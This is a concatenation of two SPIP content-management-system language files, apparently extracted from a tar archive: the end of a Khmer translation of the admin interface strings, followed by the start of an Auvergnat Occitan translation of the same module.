'info_selectionner_fichier' => 'អ្នកអាចជ្រើសយក មួយសំណុំឯកសារ នៃថតឯកសារ @upload@',
'info_selectionner_fichier_2' => 'ជ្រើសយក មួយឯកសារ ៖',
'info_supprimer_vignette' => 'លុបចេញ កូនរូបភាព',
'info_symbole_bleu' => 'A <b>និមិត្ដសញា</b> ពណ៌ខៀវ<b> បង្ហាញការរំលឹក</b>៖ មានន័យថា មួយសារសំរាប់បំរើប្រាស់ផ្ទាល់ខ្លួន របស់អ្នក ។',
'info_symbole_jaune' => 'A <b>និមិត្ដសញា</b> ពណ៌លឿង<b>បង្ហាញ មួយជំនូនដំណឹង ទៅគ្រប់អ្នកតែងអត្ថបទ </b>៖ អាចកែប្រែ ដោយគ្រប់អ្នកអភិបាល, និង អាចឃើញ ដោយគ្រប់អ្នកតែងអត្ថបទ។',
'info_symbole_vert' => 'និមិត្ដសញា<b>ពណ៌បៃតង</b> បង្ហាញ <b>បណ្តូរសារ ជាមួយអ្នកប្រើប្រាស់ដទៃ</b> នៃវ៉ែបសៃថ៍។',
'info_telecharger_nouveau_logo' => 'ផ្ទុកឡើង មួយរូបសញ្ញាថ្មី ៖',
'info_telecharger_ordinateur' => 'ផ្ទុកឡើង ពីខំព្យូរើ របស់អ្នក ៖',
'info_tous_resultats_enregistres' => '[គ្រប់លទ្ធផល ត្រូវបានរក្សាទុក]',
'info_tout_afficher' => 'បង្ហាញចេញ ទាំងអស់',
'info_travaux_texte' => 'វ៉ែបសៃថ៍នេះ មិនទាន់ត្រូវបានកំណត់ទំរង់។ ត្រលប់មកវិញ ពេលក្រោយ...',
'info_travaux_titre' => 'វ៉ែបសៃថ៍ កំពុងត្រូវបង្កើត',
'info_trop_resultat' => 'លទ្ធផល ច្រើនពេក សំរាប់ "@cherche_mot@"; សូមសំរាំង ការស្វែងរក។',
'info_utilisation_messagerie_interne' => 'អ្នកប្រើប្រាស់ សេវាកម្មអ៊ីមែវល៍ ខាងក្នុង នៃវ៉ែបសៃថ៍ នេះ។',
'info_valider_lien' => 'ធ្វើអោយសុពលភាព តំណភ្ជាប់នេះ',
'info_verifier_image' => ',សូមផ្ទៀផ្ទាត់ ថារូបភាព របស់អ្នក ត្រូវបានផ្ទេរ ដោយត្រឹមត្រូវ។',
'info_vignette_defaut' => 'កូនរូបភាព លំនាំដើម',
'info_vignette_personnalisee' => 'កូនរូបភាព តាមជំរើសផ្ទាល់',
'info_visite' => 'ទស្សនា ៖',
'info_vos_rendez_vous' => 'ការណាត់ជួប របស់អ្នក ក្នុងពេលខាងមុខ',
'infos_vos_pense_bete' => 'ការក្រើនរំលឹក របស់អ្នក', # MODIF
// L
'lien_afficher_icones_seuls' => 'បង្ហាញតែរូបតំណាងប៉ុណ្ណោះ',
'lien_afficher_texte_icones' => 'បង្ហាញចេញ រូបតំណាង និងអត្ថបទ',
'lien_afficher_texte_seul' => 'បង្ហាញតែ អត្ថបទ',
'lien_liberer' => 'រំដោះ',
'lien_liberer_tous' => 'រំដោះអត្ថបទទាំងនេះ', # MODIF
'lien_nouvea_pense_bete' => 'ការក្រើនរំលឹកថ្មី',
'lien_nouveau_message' => 'សារថ្មី',
'lien_nouvelle_annonce' => 'សេចក្ដីជូនដំណឹងថ្មី',
'lien_petitions' => 'បណ្តឹងជំទាស់',
'lien_popularite' => 'ប្រជាប្រិយភាព ៖ @popularite@%',
'lien_racine_site' => 'ឫស នៃវ៉ែបសៃថ៍',
'lien_reessayer' => 'ព្យាយាមឡើងវិញ',
'lien_repondre_message' => 'ឆ្លើយទៅ សារនេះ',
'lien_supprimer' => 'លុបចេញ',
'lien_tout_afficher' => 'បង្ហាញចេញ ទាំងអស់',
'lien_visite_site' => 'ចូលមើល វ៉ែបសៃថ៍',
'lien_visites' => '@visites@ ទស្សនា',
'lien_voir_auteur' => 'មើល អ្នកនិពន្ធនេះ',
'ligne' => 'បណ្ដាញ',
'login' => 'ភ្ជាប់',
'login_acces_prive' => 'ការចូលទៅ ទីឯកជន',
'login_autre_identifiant' => 'ភ្ជាប់ ដោយប្រើប្រាស់ អត្តសញ្ញាដទៃ',
'login_cookie_accepte' => 'សូមតំរែតំរូវ ឧបកររាវរករបស់អ្នក ដើម្បីព្រមទទួល (យ៉ាងហោចណាស់ សំរាប់វ៉ែបសៃថ៍ នេះ)។',
'login_cookie_oblige' => 'ដើម្បីសំគាល់ អត្ដសញា របស់អ្នក ដោយពិតប្រាកដ លើសៃថ៍នេះ, អ្នកត្រូវតែព្រមទទួល ខូកឃី។',
'login_deconnexion_ok' => 'បានពិនិត្យចេញ។',
'login_erreur_pass' => 'កំហុស ពាក្យសំងាត់។',
'login_espace_prive' => 'ទីឯកជន',
'login_identifiant_inconnu' => 'មិនស្គាល់ អត្តសញ្ញា"@login@"។',
'login_login' => 'ពិនិត្យចូល ៖',
'login_login2' => 'ពិនិត្យចូល (អត្តសញ្ញា សំរាប់ភ្ជាប់ទៅ វ៉ែបសៃថ៍) ៖', # MODIF
'login_login_pass_incorrect' => '(ការពិនិត្យចូល ឬ ពាក្យសំងាត់ មិនត្រឹមត្រូវ។)',
'login_motpasseoublie' => 'ភ្លេច ពាក្យសំងាត់ ឬ?',
'login_non_securise' => 'ប្រយ័ត្ន, បែបបទនេះ គ្មានសុវត្ថភាព។ បើអ្នកមិនចង់ ពាក្យសំងាត់ របស់អ្នក ត្រូវបានស្ទាក់ លើបណ្តាញ, សូមសកម្ម ចាវ៉ាស្គ្រិប ក្នុងឿបកររាវរក របស់អ្នក និង',
'login_nouvelle_tentative' => 'ការព្យាយាម ថ្មី',
'login_par_ici' => 'អ្នកត្រូវបានចុះឈ្មោះ... តាមនេះ....',
'login_pass2' => 'ពាក្យសំងាត់ ៖',
'login_preferez_refuser' => '<b>បើអ្នកចង់បដិសេធខូកឃី</b>, មានមួយវិធីដទៃ សំរាប់ភ្ជាប់ (មិនសូវសុវត្ថភាព) រង់ចាំអ្នក ៖',
'login_recharger' => 'ផ្ទុកឡើងវិញ ទំព័រនេះ',
'login_rester_identifie' => 'រង់ចាំ ការសំគាល់អត្តសញ្ញា ប៉ុន្មានថ្ងៃទៀត',
'login_retour_public' => 'ត្រលប់ទៅ វ៉ែបសៃថ៍ សាធារណៈ',
'login_retour_site' => 'ត្រលប់ទៅ វ៉ែបសៃថ៍ សាធារណៈ',
'login_retoursitepublic' => 'ត្រលប់ទៅ វ៉ែបសៃថ៍ សាធារណៈ',
'login_sans_cookiie' => 'ការសំគាល់ អត្ដសញា គ្មានខូកឃី',
'login_sinscrire' => 'ចុះឈ្មោះ',
'login_test_navigateur' => 'សាល្បងឧបកររាវរក/ភ្ជាប់ឡើងវិញ',
'login_verifiez_navigateur' => '(ផ្ទៀងផ្ទាត់ គ្រប់ពេល ដែលឧបកររាវរក របស់អ្នក មិនបានចងចាំ ពាក្យសំងាត់ របស់អ្នក...)',
// M
'masquer_colonne' => 'បិទបាំង ជួរឈរ នេះ',
'masquer_trad' => 'បិទបាំង អត្ថបទប្រែសំរួល',
'module_fichiers_langues' => 'សំណុំឯកសារ ភាសា',
// N
'navigateur_pas_redirige' => 'បើឧបកររាវរក របស់អ្នក មិនត្រូវបានប្ដូរទិស, ចុចទីនេះដើម្បីបន្ដ។',
'numero' => 'លេខ',
// O
'occurence' => 'ភាពកើតមាន',
'onglet_affacer_base' => 'លុបចោល ឃ្លាំងទិន្នន័យ',
'onglet_auteur' => 'អ្នកនិពន្ធ',
'onglet_contenu_site' => 'ខ្លឹមសារ របស់វ៉ែបសៃថ៍',
'onglet_evolution_visite_mod' => 'ការវិវត្ត',
'onglet_fonctions_avances' => 'មុខងារ កំរិតខ្ពស់',
'onglet_informations_personnelles' => 'ពត៌មានផ្ទាល់ខ្លួន',
'onglet_interactivite' => 'អន្ដរកម្ម',
'onglet_messagerie' => 'បញ្ញើសារ',
'onglet_repartition_rubrique' => 'បំណែងចែក តាមមាតិកា',
'onglet_save_restaur_base' => 'បង្កើតច្បាប់ចំលង/ធ្វើអោយដូចដើម ឃ្លាំងទិន្នន័យ',
'onglet_vider_cache' => 'ធ្វើអោយឃ្លាំងសម្ងាត់ទទេរ',
// P
'pass_choix_pass' => 'ជ្រើសរើស ពាក្យសំងាត់ថ្មី របស់អ្នក៖',
'pass_erreur' => 'កំហុស',
'pass_erreur_acces_refuse' => '<b>កំហុស ៖</b> អ្នកមិនចូលទៀត ទៅវ៉ែបសៃថ៍នេះ។',
'pass_erreur_code_inconnu' => '<b>កំហុស ៖</b> អក្សរកូដនេះ មិនត្រូវនឹងអ្នកទស្សនាណាមួយ ដែលមានសិទ្ធិចូលទៅ វ៉ែបសៃថ៍នេះ។',
'pass_erreur_non_enregistre' => '<b>កំហុស ៖</b> អាសយដ្ឋាន <tt>@email_oubli@</tt> មិនត្រូវបានចុះឈ្មោះលើវ៉ែបសៃថ៍នេះ។',
'pass_erreur_non_valide' => '<b>កំហុស ៖</b> អ៊ីមែវល៍នេះ<tt>@email_oubli@</tt> គ្មានសុពលភាព!',
'pass_erreur_probleme_technique' => '<b>កំហុសបច្ចេកទេស ៖</b> មិនអាចផ្ញើ អ៊ីមែវល៍នេះ។',
'pass_espace_prive_bla' => 'ទីឯកជន នៃវ៉ែបសៃថ៍នេះ ត្រូវចំហ សំរាប់អ្នកទស្សនា, បន្ទាប់ពីចុះឈ្មោះ។ ពេលបានចុះឈ្មោះរួច, អ្នកអាចពិនិត្យមើល អត្ថបទ ដែលកំពុងត្រូវបានតែង, ស្នើអត្ថបទ និង ចូលរួម ទៅគ្រប់វេទិកា។',
'pass_forum_bla' => 'អ្នកបានសួររក ដើម្បីអន្តរាគម លើមួយវេទិកា ដែលទុកសំរាប់ អ្នកទស្សនាបានចំឈ្មោះ។',
'pass_indiquez_cidessous' => 'បញ្ចូលខាងក្រោម អាសយដ្ឋានអ៊ីមែវល៍ ដែលអ្នកបានចុះឈ្មោះពីមុន។ អ្នកនឹងទទួលបាន មួយអ៊ីមែវល៍ ដែលពន្យល់វិធី ដើម្បីសង្គ្រោះការចូលទៅ របស់អ្នក។',
'pass_mail_passcookie' => '(នេះជា មួយសារស្វ័យប្រវត្ដិ)
ដើម្បីរកមើល ការចូលទៅ របស់អ្នក ក្នុងវ៉ែបសៃថ៍ @nom_site_spip@ (@adresse_site@)
សូមទៅអាសយដ្ឋាន បន្តបន្ទាប់៖
@sendcookie@
ពេលនោះ អ្នកនឹងអាច បញ្ចូល មួយពាក្យសំងាត់ថ្មី និងអ្នកអាចភ្ជាប់ទៅ វ៉ែបសៃថ៍។',
'pass_mot_oublie' => 'ភ្លេច ពាក្យសំងាត់',
'pass_nouveau_enregistre' => 'ពាក្យសំងាត់ថ្មី របស់អ្នក ត្រូវបានរក្សាទុក។',
'pass_nouveau_pass' => 'ពាក្យសំងាតថ្មី',
'pass_ok' => 'យល់ព្រម',
'pass_oubli_mot' => 'ភ្លេចពាក្យសំងាត់',
'pass_quitter_fenetre' => 'ចាកចេញ ពីបង្អួចនេះ',
'pass_rappel_login' => 'ក្រើនរំលឹក ៖ អត្តសញ្ញា របស់អ្នក (ការពិនិត្យចូល) គឺ "@login@"។',
'pass_recevoir_mail' => 'អ្នកនឹងទទួលបាន អ៊ីមែវល៍ ដោយពន្យល់អំពីវិធី រកមើលការចូលទៅ របស់អ្នក លើវ៉ែបសៃថ៍។',
'pass_retour_public' => 'ត្រឡប់ទៅ វ៉ែបសៃថ៍សាធារណៈ',
'pass_rien_a_faire_ici' => 'គ្មាអ្វី ត្រូវធ្វើ នៅទីនេះ។',
'pass_vousinscrire' => 'ចុះឈ្មោះអ្នក លើវ៉ែបសៃថ៍ នេះ',
'precedent' => 'មុន',
'previsualisation' => 'មើលមុន',
'previsualiser' => 'មើលមុន',
// R
'retour' => 'ត្រលប់ក្រោយ',
// S
'spip_conforme_dtd' => 'SPIP យល់ថា ឯកសារនេះ ស្របតាម DOCTYPE របស់វា ៖',
'squelette' => 'គ្រោង',
'squelette_inclus_ligne' => 'រួមបញ្ចូល គ្រោងការងារ, បណ្តាញ',
'squelette_ligne' => 'គ្រោង, បណ្ដាញ',
'stats_visites_et_popularite' => '@visites@ ទស្សនា ប្រជាប្រិយភាព៖ @popularite@',
'suivant' => 'បន្ទាប់',
// T
'taille_ko' => '@taille@ គីឡូបៃ',
'taille_mo' => '@taille@ មេកាបៃ',
'taille_octets' => '@taille@ បៃ',
'texte_actualite_site_1' => 'ពេលអ្នកស៊ាំ ជាមួយផ្ទាំងប្រទាក់, អ្នកនឹងអាច ចុចលើ «',
'texte_actualite_site_2' => 'ផ្ទាំងប្រទាក់ ពេញលេញ',
'texte_actualite_site_3' => '» ដើម្បី បើកថែម លទ្ធភាព។',
'texte_creation_automatique_vignette' => 'ការបង្កើតស្វ័យប្រវត្ដិ រូបភាព ត្រូវបានសកម្ម ក្នុងវ៉ែបសៃថ៍នេះ។ បើអ្នកតំលើង តាមបែបបទ នៃរូបភាព មានទ្រង់ទ្រាយ @gd_formats@, ពួកវា នឹងនាំមកជាមួយ កូនរូបភាព មានទំហំអតិបរិមា @taille_preview@ pixels។',
'texte_documents_associes' => 'ឯកសារខាងក្រោម ភ្ជាប់ជាមួយអត្ថបទ, ប៉ុន្ដែពួកវា មិនត្រូវបានបញ្ចូល ដោយផ្ទាល់។ ផ្អែកលើ តំរៀបទំព័រ នៃវ៉ែបសៃថ៍សាធារណៈ, ពួកវានឹងអាចបង្ហាញ ក្រោមរូបភាព ជាឯកសារភ្ជាប់។',
'texte_erreur_mise_niveau_base' => 'កំហុសឃ្លាំងទិន្នន័យ ក្នុងអំឡុង ការតំលើងកំរិត។ រូបភាព <b>@fichier@</b> មិនសំរេចបាន (អត្ថបទ @id_article@)
។ សូមកត់សំគាល់ បានច្បាស់ ឯកសារយោងនេះ, ព្យាយាមឡើងវិញ ការតំលើងកំរិត, និងទីបញ្ចប់ ផ្ទៀងផ្ទាត់រូបភាព មានបង្ហាញចេញ ជានិច្ច លើអត្ថបទ ឬអត់។',
'texte_erreur_visiteur' => 'អ្នកបាន ព្យាយាមចូលទៅ ទីឯកជន ជាមួយការពិនិត្យចូល ដែលមិនត្រូវបានអនុញ្ញាតិ ។',
'texte_inc_auth_1' => 'អ្នកត្រូវបានស្គាល់ ដោយការពិនិត្យចូល <b>@auth_login@</b>, ប៉ុន្ដែគ្មាន/លែងមានក្នុងមូលដ្ឋានទិន្នន័យ។ សូមអ្នក ព្យាយាមឡើងវិញ។',
'texte_inc_auth_2' => 'ភ្ជាប់ឡើងវិញ',
'texte_inc_auth_3' => ', បន្ទាប់ពីបានចាកចេញ រួចដំណើរឡើងវិញ ឧបកររាវរក របស់អ្នក។',
'texte_inc_config' => 'បំលាស់ប្ដូរ ដែលបានអនុវត្ត ក្នុងទំព័រនេះ មានឥទ្ធិពល គួរកត់សំគាល់ លើដំណើរការ នៃវ៉ែបសៃថ៍ របស់អ្នក។ យើងអនុសាសអ្នក មិនត្រូវអន្តរាគមក្នុងនោះ បើអ្នកមិនជា គ្រួសារ នៃប្រព័ន្ធការងារ SPIP។ <br /><br /><b> លើសពីហ្នឹង, ជាទូទៅ សំណូមពរ ប្រគល់ភារ៖កិច្ច ផ្ទុកទំព័រនេះ អោយទៅអ្នកជំនាញវ៉ែប នៃវ៉ែបសៃថ៍ របស់អ្នក។ </b>',
'texte_inc_meta_1' => 'ប្រព័ន្ធ បានជួបមួយកំហុស ពេលសរសេរ លើសំណុំឯកសារ <code>@fichier@</code>។ ក្នុងនាមជាអ្នកអភិបាលសៃថ៍, សូម',
'texte_inc_meta_2' => 'ផ្ទៀងផ្ទាត់ សិទ្ធិសរសេរ',
'texte_inc_meta_3' => 'លើបញ្ជីរាយឈ្មោះ <code>@repertoire@</code>។',
'texte_statut_en_cours_redaction' => 'កំពុង តែងអត្ថបទ',
'texte_statut_poubelle' => 'នៅធុងសំរាម',
'texte_statut_propose_evaluation' => 'ស្នើការវាយតំលៃ',
'texte_statut_publie' => 'ផ្សព្វផ្សាយ លើអិនរើណែត',
'texte_statut_refuse' => 'ត្រូវបាន បដិសេធ',
'titre_ajouter_mot_cle' => 'បន្ថែម មួយពាក្យគន្លឹះ ៖',
'titre_cadre_raccourcis' => 'ផ្លូវកាត់ ៖',
'titre_changer_couleur_interface' => 'ផ្លាស់ប្ដូរ ពណ៌ផ្ទាំងប្រទាក់',
'titre_image_admin_article' => 'អ្នកអាចគ្រប់គ្រងអត្ថបទនេះ',
'titre_image_administrateur' => 'អ្នកគ្រប់គ្រង',
'titre_image_aide' => 'ពីជំនួយ លើធាតុនេះ',
'titre_image_auteur_supprime' => 'បានលុបចេញ អ្នកនិពន្ធ',
'titre_image_redacteur' => 'អ្នកតែងអត្ថបទ គ្មានការចូលទៅ',
'titre_image_redacteur_02' => 'អ្នកតែងអត្ថបទ',
'titre_image_visiteur' => 'អ្នកទស្សនា',
'titre_joindre_document' => 'ភ្ជាប់ មួយឯកសារ',
'titre_mots_cles' => 'ពាក្យគន្លឹះ',
'titre_probleme_technique' => 'ប្រយ័ត្ន ៖ បញ្ហាបច្ចេកទេស (ខំព្យូរើបំរើសេវា SQL) រាំងខ្ទប់ ការចូលទៅ ផ្នែកនេះ នៃវ៉ែបសៃថ៍។ អរគុណចំពោះការយោគយល់ របស់អ្នក។',
'titre_publier_document' => 'ផ្សព្វផ្សាយ មួយឯកសារ ក្នុងមាតិកានេះ ៖',
'titre_signatures_attente' => 'ហត្ថលេខា នៅរង់ចាំសុពលភាព',
'titre_signatures_confirmees' => 'បានបញ្ជាក់ទទួលស្គាល់ ហត្ថលេខា',
'titre_statistiques' => 'ស្ថិតិ នៃវ៉ែបសៃ៍',
'titre_titre_document' => 'ចំណងជើង ឯកសារ ៖',
'todo' => 'នឹងមកដល់',
'trad_reference' => '(អត្ថបទ យោង)', # MODIF
// Z
'zbug_balise_b_aval' => ' ៖ ប្លាក B នៅចុង',
'zbug_balise_inexistante' => 'កំហុស @from@៖ ប្លាក #@balise@ គ្មានស្រាប់',
'zbug_balise_sans_argument' => 'ខ្វះ Argument ក្នុងប្លាក @balise@',
'zbug_boucle' => 'រង្វិលជុំ',
'zbug_boucle_recursive_undef' => 'ការធ្វើរង្វិលជុំ ជាប់ៗគ្នា គ្មានកំណត់៖ @nom@',
'zbug_calcul' => 'គណនា',
'zbug_champ_hors_boucle' => 'វាល @champ@ ក្រៅ រង្វិលជុំ',
'zbug_champ_hors_motif' => 'វាល @champ@ ក្រៅរង្វិលជុំ @motif@',
'zbug_code' => 'អក្សរកូដ',
'zbug_critere_inconnu' => 'គ្មានស្គាល់ លក្ខណ្ឌ @critere@',
'zbug_distant_interdit' => 'ហាម ទិន្នន័យខាងក្រៅ',
'zbug_doublon_table_sans_cle_primaire' => 'ការបញ្ចូលជាន់គ្នា លើតារាង ដែលគ្មានសោបថម សាមញ្ញ',
'zbug_doublon_table_sans_index' => 'អត្ថបទផ្ទួន លើតារាង ដោយគ្មានលំដាប់',
'zbug_erreur_boucle_double' => 'BOUCLE@id@៖ និយមន័យផ្ទួន',
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@៖ ខ្វះប្លាកបិទ',
'zbug_erreur_boucle_syntaxe' => 'កំហុសពាក្យសម្ពន្ធ វិលជុំ',
'zbug_erreur_compilation' => 'កំហុស ចងក្រង',
'zbug_erreur_execution_page' => 'កំហុស ប្រតិបត្តិ',
'zbug_erreur_filtre' => 'តំរង <b>"@filtre@"</b> គ្មានត្រូវបានកំណត់ ',
'zbug_erreur_meme_parent' => '{meme_parent} អនុវត្ដត្រឹម ការវិលជុំ (វេទិកា) ឬ (ផ្នែក)',
'zbug_erreur_squelette' => 'កំហុស ក្នុង គ្រោង',
'zbug_hors_compilation' => 'ក្រៅការចងក្រង',
'zbug_info_erreur_squelette' => 'កំហុស លើវ៉ែបសៃថ៍',
'zbug_inversion_ordre_inexistant' => 'ការត្រលប់ នៃលំដាប់ គ្មានស្រាប់',
'zbug_pagination_sans_critere' => 'ប្លាក #PAGINATION គ្មានលក្ខណ្ឌ (ដាក់លេខទំព័រ), ឬ ត្រូវបានប្រើប្រាស់ ក្នុងការវិលជុំ ជាប់គ្នា',
'zbug_parametres_inclus_incorrects' => 'ប៉ារ៉ាម៉ែត្រ រួមបញ្ចូល មិនត្រឹមត្រូវ៖ @param@',
'zbug_profile' => 'ចំនួនពេលគណនា ៖ @time@',
'zbug_resultat' => 'លទ្ធផល',
'zbug_serveur_indefini' => 'គ្មានបានកំណត់ ខំព្យូរើបំរើសេវា SQL',
'zbug_statistiques' => 'ស្ថិតិ នៃសំណួរអង្កេត SQL ដាក់លំដាប់ តាមរយះពេល',
'zbug_table_inconnue' => 'គ្មានស្គាល់ តារាង SQL "@table@"',
'zxml_connus_attributs' => 'បានស្គាល់ សេចក្តីកំណត់',
'zxml_de' => 'ពី',
'zxml_inconnu_attribut' => 'គ្មានស្គាល់ សេចក្តីកំណត់',
'zxml_inconnu_balise' => 'គ្មានស្គាល់ ប្លាក',
'zxml_inconnu_entite' => 'គ្មានស្គាល់ អង្គភាព',
'zxml_inconnu_id' => 'គ្មានស្គាល់ អត្តសញ្ញា',
'zxml_mais_de' => 'ប៉ុន្ដែ ពី',
'zxml_non_conforme' => 'គ្មានតាម ហេតុផល',
'zxml_non_fils' => 'មិនជា កូន របស់',
'zxml_nonvide_balise' => 'ប្លាកមិនទទេ',
'zxml_obligatoire_attribut' => 'សេចក្តីកំណត់បង្ខំ ប៉ុន្តែអវត្តមាន ក្នុង',
'zxml_succession_fils_incorrecte' => 'ការបន្ដ នៃកូន មិនត្រឹមត្រូវ',
'zxml_survoler' => 'ហោះហើរ ដើម្បីមើល ការត្រឹមត្រូវ',
'zxml_valeur_attribut' => 'តំលៃ នៃសេចក្តីកំណត់',
'zxml_vide_balise' => 'ប្លាកទទេ',
'zxml_vu' => 'បានឃើញ ពីមុន'
);
?>
ecrire_oc_auv.php 0000666 00000150023 15252547432 0010100 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_auv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => 'Aquela part de l’ajuda en linha es pas encara disponibla per aquesta lenga.',
'avis_acces_interdit' => 'Accès proïbit.',
'avis_article_modifie' => 'Atencion, @nom_auteur_modif@ a trabalhat sus aquel article quò fai @date_diff@ minutas',
'avis_aucun_resultat' => 'Gran de resultat.',
'avis_chemin_invalide_1' => 'Lo chamin qu’avètz chausit',
'avis_chemin_invalide_2' => 'sembla pas valid. Volhatz tornar vèrs la pagina anteriora per verificar las informacions fornidas.',
'avis_connexion_echec_1' => 'La connexion au servidor SQL a patracat.', # MODIF
'avis_connexion_echec_2' => 'Tornatz vèrs la pagina anteriora, e verificatz las informacions qu’avètz fornidas.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sus ben de servidors, devètz <b>demandar</b> qu’activen vòstre accès vèrs la basa SQL avans de la poder utilizar. Se vos podètz pas connectar, verificatz qu’ajatz be realizat aquel procediment.', # MODIF
'avis_connexion_ldap_echec_1' => 'La connexion au servidor LDAP a patracat.',
'avis_connexion_ldap_echec_2' => 'Tornatz a la pagina anteriora, e verificatz las informacions qu’avètz fornidas. ',
'avis_connexion_ldap_echec_3' => 'Alternativament, utilizetz pas lo supòrt LDAP per importar d’utilizaires.',
'avis_deplacement_rubrique' => 'Atention! Aquela rubrica conten @contient_breves@ brèvas@scb@: se la desplaçatz, voudretz be oschar aquela casa de confirmacion.',
'avis_destinataire_obligatoire' => 'Devètz indicar un destinatari avans de mandar aquel messatge.',
'avis_erreur_connexion_mysql' => 'Error de connexion SQL',
'avis_erreur_version_archive' => '<b>Atencion! Lo fichèir @archive@ correspond amb una autra version d’SPIP qu’aquela qu’avètz installada.</b> Anatz vèrs de dificultats grandassas: risca de destruccion de vòstra basa de donadas, disfoncionaments divèrs dau sit, etc. Validetz pas aquela demanda d’importacion.<p> Per mai d’informacions, vejatz
<a href="@spipnet@">
la documentacion d’SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Espaci proïbit</b><p>SPIP es ja installat.',
'avis_lecture_noms_bases_1' => 'Lo programa d’installacion a pas pogut legir los noms de las basas de donadas installadas.',
'avis_lecture_noms_bases_2' => 'Siá gran de basa es pas disponibla, siá la foncion que permet de teirar las basas es estada desactivada per de rasons de seguretat (quo es lo cas chas mai que d’un auberjador).',
'avis_lecture_noms_bases_3' => 'Dins la segonda alternativa, z-es probable qu’una basa que pòrta vòstre nom de login siá utilizabla:',
'avis_non_acces_message' => 'Podètz pas accedir vèrs aquel messatge.',
'avis_non_acces_page' => 'Podètz pas accedir vèrs aquela pagina.',
'avis_operation_echec' => 'L’operacion a patracat.',
'avis_probleme_archive' => 'Problèma de lectura dau fichèir @archive@',
'avis_suppression_base' => 'ATENCION, suprimir las donadas z-es irreversible',
'avis_version_mysql' => 'Vòstra version de SQL (@version_mysql@) permet pas l’autoreparacion de las taulas de la basa.',
// B
'bouton_acces_ldap' => 'Apondre l’accès a LDAP >>',
'bouton_ajouter' => 'Apondre',
'bouton_ajouter_participant' => 'APONDRE UN PARTICIPANT:',
'bouton_annonce' => 'ANONCI',
'bouton_checkbox_envoi_message' => 'possibilitat de mandar un messatge',
'bouton_checkbox_indiquer_site' => 'indicar obligatoriament un sit web',
'bouton_checkbox_signature_unique_email' => 'Mas una signatura per adreiça e-mail',
'bouton_checkbox_signature_unique_site' => 'Mas una signatura per sit web',
'bouton_demande_publication' => 'Demandar la publicacion d’aqueste article',
'bouton_effacer_index' => 'Esfaçar los indèx',
'bouton_effacer_tout' => 'Esfaçar tot',
'bouton_envoi_message_02' => 'MANDAR UN MESSATGE',
'bouton_envoyer_message' => 'Messatge definitiu: mandar',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'MEMENTO (D’USATGE PERSONAU)',
'bouton_radio_activer_messagerie' => 'Activar la messatjariá intèrna',
'bouton_radio_activer_messagerie_interne' => 'Activar la messatjariá intèrna',
'bouton_radio_activer_petition' => 'Activar la peticion',
'bouton_radio_afficher' => 'Afichar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Afichar dins la tèira daus redactors connectats',
'bouton_radio_desactiver_messagerie' => 'Desactivar la messatjariá',
'bouton_radio_envoi_annonces_adresse' => 'Mandar los anoncis a l’adreiça:',
'bouton_radio_envoi_liste_nouveautes' => 'Mandar la tèira de las novetats',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Pas aparéisser dins la tèira daus redactors',
'bouton_radio_non_envoi_annonces_editoriales' => 'Pas mandar d’anoncis editoriaus',
'bouton_radio_pas_petition' => 'Gran de peticion',
'bouton_radio_petition_activee' => 'Peticion activada',
'bouton_radio_supprimer_petition' => 'Suprimir la peticion',
'bouton_redirection' => 'TORNAR DIRIGIR',
'bouton_relancer_installation' => 'Tornar lançar l’installacion',
'bouton_suivant' => 'Seguent',
'bouton_tenter_recuperation' => 'Assajar de reparar',
'bouton_test_proxy' => 'Assajar lo proxy',
'bouton_vider_cache' => 'Voidar l’escondedor',
'bouton_voir_message' => 'Veire aquel messatge avans de lo validar',
// C
'cache_mode_compresse' => 'Los fichèirs de l’escondedor son registrats en mòde comprimit.',
'cache_mode_non_compresse' => 'Los fichèirs de l’escondedor son registrats en mòde non comprimit.',
'cache_modifiable_webmestre' => 'Lo webmèstre dau sit pòt modificar aquestes paramètres.',
'calendrier_synchro' => 'S’utilizatz un logiciau d’agenda compatible <b>iCal</b>, lo podètz sincronizar amb las informacions d’aqueste sit.',
// D
'date_mot_heures' => 'oras',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adreiça de l’annuari',
'entree_adresse_email' => 'Vòstra adreiça e-mail',
'entree_base_donnee_1' => 'Adreiça de la basa de donadas',
'entree_base_donnee_2' => '(Sovent, aquela adreiça correspond a aquela de vòstre sit, de còps correspond a la mençon "localhost", de còps, se laissa voida completament.)',
'entree_biographie' => 'Biografia brèva, en quauques mots.',
'entree_chemin_acces' => '<b>Entrar</b> lo chamin d’accès:',
'entree_cle_pgp' => 'Vòstra clau PGP',
'entree_contenu_rubrique' => '(Contengut de la rubrica en quauques mots.)',
'entree_identifiants_connexion' => 'Vòstres identificants de connexion...',
'entree_informations_connexion_ldap' => 'Volhatz entrar dins aquel formulari las informacions de connexion a vòstre annuari LDAP.
L’administrator dau sistèma o de la ret vos deu poder fornir
aquelas informacions.',
'entree_infos_perso' => 'Quau sètz?',
'entree_interieur_rubrique' => 'Endins la rubrica:',
'entree_liens_sites' => '<b>Liam ipertèxt</b> (referéncia, sit de vesitar...)',
'entree_login' => 'Vòstre login',
'entree_login_connexion_1' => 'Lo login de connexion',
'entree_login_connexion_2' => '(Correspond de còps a vòstre login d’accès vèrs l’FTP; de còps se laissa voide)',
'entree_login_ldap' => 'Login LDAP iniciau',
'entree_mot_passe' => 'Vòstre mot de santa Clara',
'entree_mot_passe_1' => 'Mot de santa Clara per la connexion',
'entree_mot_passe_2' => '(Correspond de còps a vòstre mot de santa Clara per l’FTP; de còps se laissa voide)',
'entree_nom_fichier' => 'Volhatz entrar lo nom dau fichèir @texte_compresse@:',
'entree_nom_pseudo' => 'Vòstre nom o vòstre pseudonim',
'entree_nom_pseudo_1' => '(Vòstre nom o vòstre pseudonim)',
'entree_nom_site' => 'Lo nom de vòstre sit',
'entree_nouveau_passe' => 'Mot de santa Clara novèl',
'entree_passe_ldap' => 'Mot de santa Clara',
'entree_port_annuaire' => 'Lo numèro de pòrt de l’annuari',
'entree_signature' => 'Signatura',
